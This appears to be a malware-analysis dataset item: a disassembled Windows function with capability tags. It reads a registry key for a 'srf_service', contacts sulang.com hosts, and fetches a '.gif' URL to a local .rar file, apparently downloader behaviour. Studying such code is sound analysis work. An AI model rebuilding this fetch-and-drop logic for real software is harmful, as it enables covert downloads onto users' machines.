Function at 0x40d7b0
Capabilities:
Check if file exists
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443115
mov eax, dword fs:[0]
push eax
sub esp, 0x4f4
mov eax, dword [0x45a024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x206
xor ebx, ebx
lea ecx, [ebp - 0x216]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x218], ax
call fcn.004212c0
add esp, 0xc
lea ecx, [ebp - 0x4bc]
call fcn.0040c4f0
push 0xa
mov eax, str.juizis.rar
lea ecx, [ebp - 0x4bc]
mov dword [ebp - 4], ebx
call fcn.00412880
cmp dword [ebp - 0x4a8], 8
mov eax, dword [ebp - 0x4bc]
jae 0x40d833
lea eax, [ebp - 0x4bc]
push eax
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 8
call fcn.0041b5db
add esp, 4
cmp eax, ebx
je 0x40d85c
mov dword [eax], SysReAllocString
mov dword [eax + 4], ebx
mov edi, eax
jmp 0x40d85e
xor edi, edi
push 0x206
lea ecx, [ebp - 0x41e]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x420], ax
call fcn.004212c0
mov eax, dword [edi + 4]
lea esi, [edi + 4]
add esp, 0xc
cmp eax, ebx
je 0x40d88f
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esi], ebx
mov edx, dword [edi]
push esi
push 1
push ebx
push str.Software_srf_service
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40d8a9
mov dword [esi], ebx
jmp 0x40d8e5
mov eax, dword [esi]
mov dword [ebp - 0x4f8], 0x104
mov dword [ebp - 0x4f4], 1
cmp eax, ebx
je 0x40d8e5
lea ecx, [ebp - 0x4f8]
push ecx
lea edx, [ebp - 0x420]
push edx
lea ecx, [ebp - 0x4f4]
push ecx
push ebx
push str.setup
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, dword [esi]
cmp esi, ebx
je 0x40d8f2
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.0041afda
add esp, 4
mov esi, 0xc
mov eax, str.aintcname
lea ecx, [ebp - 0x490]
mov dword [ebp - 0x47c], 0xf
mov dword [ebp - 0x480], ebx
mov byte [ebp - 0x490], bl
call fcn.00404d00
sub esp, 0x1c
mov byte [ebp - 4], 1
mov esi, esp
xor edx, edx
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], ebx
lea eax, [ebp - 0x420]
mov word [esi], dx
mov dword [ebp - 0x4f4], esp
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x40d950
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x420]
call fcn.00404070
lea ebx, [ebp - 0x458]
call fcn.00405e50
add esp, 0x1c
xor ebx, ebx
push ebx
push eax
or eax, 0xffffffff
lea edi, [ebp - 0x490]
mov byte [ebp - 4], 2
call fcn.00405200
mov esi, 0x10
cmp dword [ebp - 0x444], esi
jb 0x40d9ab
mov eax, dword [ebp - 0x458]
push eax
call fcn.0041afda
add esp, 4
mov eax, 1
mov ecx, 0xf
mov dword [ebp - 0x4f0], ebx
mov dword [ebp - 0x4ec], eax
mov dword [ebp - 0x4e8], ebx
mov dword [ebp - 0x4e4], eax
mov dword [ebp - 0x4e0], ebx
mov dword [ebp - 0x4dc], eax
mov dword [ebp - 0x4c4], ecx
mov dword [ebp - 0x4c8], ebx
mov byte [ebp - 0x4d8], bl
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x490]
cmp dword [ebp - 0x47c], esi
jae 0x40da03
lea eax, [ebp - 0x490]
sub esp, 0x1c
mov edi, esp
mov edx, eax
mov dword [edi + 0x14], ecx
mov dword [edi + 0x10], ebx
mov dword [ebp - 0x4f4], esp
mov byte [edi], bl
lea esi, [edx + 1]
jmp 0x40da20
mov cl, byte [edx]
inc edx
cmp cl, bl
jne 0x40da20
sub edx, esi
mov esi, edx
mov ecx, edi
call fcn.00404d00
sub esp, 0x1c
mov byte [ebp - 4], 4
mov ecx, esp
mov edi, 0xf
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
lea esi, [edi - 3]
mov eax, str.juziname.php
mov dword [ebp - 0x4f8], esp
mov byte [ecx], bl
call fcn.00404d00
sub esp, 0x1c
mov byte [ebp - 4], 5
mov ecx, esp
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
lea esi, [edi + 4]
mov eax, str.srfcount.sulang.com
mov dword [ebp - 0x4fc], esp
mov byte [ecx], bl
call fcn.00404d00
lea ecx, [ebp - 0x474]
push ecx
mov byte [ebp - 4], 3
call fcn.00418ed0
mov byte [ebp - 4], 6
xor esi, esi
mov eax, 0x44f581
lea ecx, [ebp - 0x458]
mov dword [ebp - 0x444], edi
mov dword [ebp - 0x448], ebx
mov byte [ebp - 0x458], bl
call fcn.00404d00
mov byte [ebp - 4], 7
lea esi, [edi - 0xe]
mov eax, 0x4508e0
lea ecx, [ebp - 0x43c]
mov dword [ebp - 0x428], edi
mov dword [ebp - 0x42c], ebx
mov byte [ebp - 0x43c], bl
call fcn.00404d00
mov byte [ebp - 4], 8
jmp 0x40daf0
cmp dword [ebp - 0x428], 0x10
mov eax, dword [ebp - 0x43c]
jae 0x40db05
lea eax, [ebp - 0x43c]
mov edx, dword [ebp - 0x42c]
push edx
push eax
lea eax, [ebp - 0x474]
push eax
call fcn.004126f0
lea edi, [ebp - 0x474]
cmp eax, 0xffffffff
je 0x40db3b
mov edx, dword [ebp - 0x42c]
lea ecx, [ebp - 0x458]
push ecx
push edx
mov ebx, eax
call fcn.00412520
jmp 0x40daf0
lea eax, [ebp - 0x474]
push eax
or ecx, 0xffffffff
xor ebx, ebx
call fcn.004052a0
mov esi, 0x10
cmp dword [ebp - 0x428], esi
jb 0x40db68
mov ecx, dword [ebp - 0x43c]
push ecx
call fcn.0041afda
add esp, 4
xor ebx, ebx
mov edi, 0xf
mov byte [ebp - 4], 6
mov dword [ebp - 0x428], edi
mov dword [ebp - 0x42c], ebx
mov byte [ebp - 0x43c], bl
cmp dword [ebp - 0x444], esi
jb 0x40db9c
mov edx, dword [ebp - 0x458]
push edx
call fcn.0041afda
add esp, 4
xor esi, esi
mov eax, 0x44f581
lea ecx, [ebp - 0x458]
mov dword [ebp - 0x444], edi
mov dword [ebp - 0x448], ebx
mov byte [ebp - 0x458], bl
call fcn.00404d00
mov byte [ebp - 4], 9
mov esi, 1
mov eax, 0x4508e4
lea ecx, [ebp - 0x43c]
mov dword [ebp - 0x428], edi
mov dword [ebp - 0x42c], ebx
mov byte [ebp - 0x43c], bl
call fcn.00404d00
mov byte [ebp - 4], 0xa
nop
cmp dword [ebp - 0x428], 0x10
mov eax, dword [ebp - 0x43c]
jae 0x40dc05
lea eax, [ebp - 0x43c]
mov ecx, dword [ebp - 0x42c]
push ecx
push eax
lea edx, [ebp - 0x474]
push edx
call fcn.004126f0
lea edi, [ebp - 0x474]
cmp eax, 0xffffffff
je 0x40dc3b
mov edx, dword [ebp - 0x42c]
lea ecx, [ebp - 0x458]
push ecx
push edx
mov ebx, eax
call fcn.00412520
jmp 0x40dbf0
lea eax, [ebp - 0x474]
push eax
or ecx, 0xffffffff
xor ebx, ebx
call fcn.004052a0
mov esi, 0x10
cmp dword [ebp - 0x428], esi
jb 0x40dc68
mov ecx, dword [ebp - 0x43c]
push ecx
call fcn.0041afda
add esp, 4
xor ebx, ebx
mov edi, 0xf
mov byte [ebp - 4], 6
mov dword [ebp - 0x428], edi
mov dword [ebp - 0x42c], ebx
mov byte [ebp - 0x43c], bl
cmp dword [ebp - 0x444], esi
jb 0x40dc9c
mov edx, dword [ebp - 0x458]
push edx
call fcn.0041afda
add esp, 4
xor esi, esi
mov eax, 0x44f581
lea ecx, [ebp - 0x458]
mov dword [ebp - 0x444], edi
mov dword [ebp - 0x448], ebx
mov byte [ebp - 0x458], bl
call fcn.00404d00
mov byte [ebp - 4], 0xb
mov esi, 2
mov eax, 0x44f584
lea ecx, [ebp - 0x43c]
mov dword [ebp - 0x428], edi
mov dword [ebp - 0x42c], ebx
mov byte [ebp - 0x43c], bl
call fcn.00404d00
mov byte [ebp - 4], 0xc
nop
cmp dword [ebp - 0x428], 0x10
mov eax, dword [ebp - 0x43c]
jae 0x40dd05
lea eax, [ebp - 0x43c]
mov ecx, dword [ebp - 0x42c]
push ecx
push eax
lea edx, [ebp - 0x474]
push edx
call fcn.004126f0
lea edi, [ebp - 0x474]
cmp eax, 0xffffffff
je 0x40dd3b
mov edx, dword [ebp - 0x42c]
lea ecx, [ebp - 0x458]
push ecx
push edx
mov ebx, eax
call fcn.00412520
jmp 0x40dcf0
lea eax, [ebp - 0x474]
push eax
or ecx, 0xffffffff
xor ebx, ebx
call fcn.004052a0
mov esi, 0x10
cmp dword [ebp - 0x428], esi
jb 0x40dd68
mov ecx, dword [ebp - 0x43c]
push ecx
call fcn.0041afda
add esp, 4
xor ebx, ebx
mov edi, 0xf
mov byte [ebp - 4], 6
mov dword [ebp - 0x428], edi
mov dword [ebp - 0x42c], ebx
mov byte [ebp - 0x43c], bl
cmp dword [ebp - 0x444], esi
jb 0x40dd9c
mov edx, dword [ebp - 0x458]
push edx
call fcn.0041afda
add esp, 4
mov esi, dword [ebp - 0x460]
mov edx, dword [ebp - 0x474]
cmp esi, 0x10
jae 0x40ddb3
lea edx, [ebp - 0x474]
xor eax, eax
mov ecx, 0x44f581
call fcn.004061c0
cmp eax, ebx
jne 0x40ddd0
xor eax, eax
cmp dword [ebp - 0x464], ebx
setne al
cmp eax, ebx
sete al
cmp al, bl
je 0x40de7a
cmp esi, 0x10
jb 0x40ddef
mov eax, dword [ebp - 0x474]
push eax
call fcn.0041afda
add esp, 4
lea esi, [ebp - 0x4f0]
mov dword [ebp - 0x460], edi
mov dword [ebp - 0x464], ebx
mov byte [ebp - 0x474], bl
call fcn.00418e50
cmp dword [ebp - 0x47c], 0x10
jb 0x40de24
mov ecx, dword [ebp - 0x490]
push ecx
call fcn.0041afda
add esp, 4
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x47c], edi
mov dword [ebp - 0x480], ebx
mov byte [ebp - 0x490], bl
cmp eax, ebx
je 0x40de49
push eax
call fcn.0041afda
add esp, 4
cmp dword [ebp - 0x4a8], 8
mov dword [ebp - 0x4a0], ebx
mov dword [ebp - 0x49c], ebx
mov dword [ebp - 0x498], ebx
jb 0x40de73
mov edx, dword [ebp - 0x4bc]
push edx
call fcn.0041afda
add esp, 4
xor eax, eax
jmp 0x40e047
sub esp, 0x1c
mov ecx, esp
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
mov esi, 0x23
mov eax, str.http:__file.sulang.com_zxgljzui.gif
mov dword [ebp - 0x4fc], esp
mov byte [ecx], bl
call fcn.00404d00
sub esp, 0x1c
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x4f4], esp
mov edi, esp
sub esp, 0x1c
mov esi, esp
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], ebx
mov word [esi], ax
lea eax, [ebp - 0x218]
mov dword [ebp - 0x4f4], esp
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x40ded0
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x218]
call fcn.00404070
mov ebx, edi
call fcn.00405e50
add esp, 0x1c
mov byte [ebp - 4], 6
call fcn.00419300
add esp, 0x38
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40df99
sub esp, 0x1c
mov esi, esp
xor edx, edx
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
lea eax, [ebp - 0x218]
mov word [esi], dx
lea edi, [ebp - 0x474]
mov dword [ebp - 0x4fc], esp
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40df43
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x218]
call fcn.00404070
lea ebx, [ebp - 0x458]
call fcn.00405e50
add esp, 0x1c
push eax
mov ecx, edi
mov byte [ebp - 4], 0xe
call fcn.0040c9b0
mov edi, 0x10
add esp, 4
cmp dword [ebp - 0x444], edi
jb 0x40df9e
mov eax, dword [ebp - 0x458]
push eax
call fcn.0041afda
add esp, 4
jmp 0x40df9e
mov edi, 0x10
cmp dword [ebp - 0x460], edi
jb 0x40dfb5
mov ecx, dword [ebp - 0x474]
push ecx
call fcn.0041afda
add esp, 4
xor ebx, ebx
lea esi, [ebp - 0x4f0]
mov dword [ebp - 0x460], 0xf
mov dword [ebp - 0x464], ebx
mov byte [ebp - 0x474], bl
call fcn.00418e50
cmp dword [ebp - 0x47c], edi
jb 0x40dfef
mov edx, dword [ebp - 0x490]
push edx
call fcn.0041afda
add esp, 4
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x47c], 0xf
mov dword [ebp - 0x480], ebx
mov byte [ebp - 0x490], bl
cmp eax, ebx
je 0x40e018
push eax
call fcn.0041afda
add esp, 4
cmp dword [ebp - 0x4a8], 8
mov dword [ebp - 0x4a0], ebx
mov dword [ebp - 0x49c], ebx
mov dword [ebp - 0x498], ebx
jb 0x40e042
mov eax, dword [ebp - 0x4bc]
push eax
call fcn.0041afda
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041af7a
mov esp, ebp
pop ebp
ret